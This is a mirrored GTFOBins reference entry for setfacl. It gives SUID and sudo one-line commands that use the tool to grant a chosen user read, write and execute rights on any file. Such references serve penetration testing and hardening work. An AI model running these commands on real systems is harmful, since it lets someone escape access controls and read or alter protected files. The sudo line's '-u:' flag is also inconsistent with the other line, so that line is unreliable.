1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/setfacl.md

15 lines
364 B
Markdown
Raw Normal View History

---
description: This can be run with elevated privileges to change ownership and then read, write, or execute a file.
functions:
suid:
- code: |
LFILE=file_to_change
USER=somebody
./setfacl -m u:$USER:rwx $LFILE
sudo:
- code: |
LFILE=file_to_change
USER=somebody
sudo setfacl -m -u:$USER:rwx $LFILE
---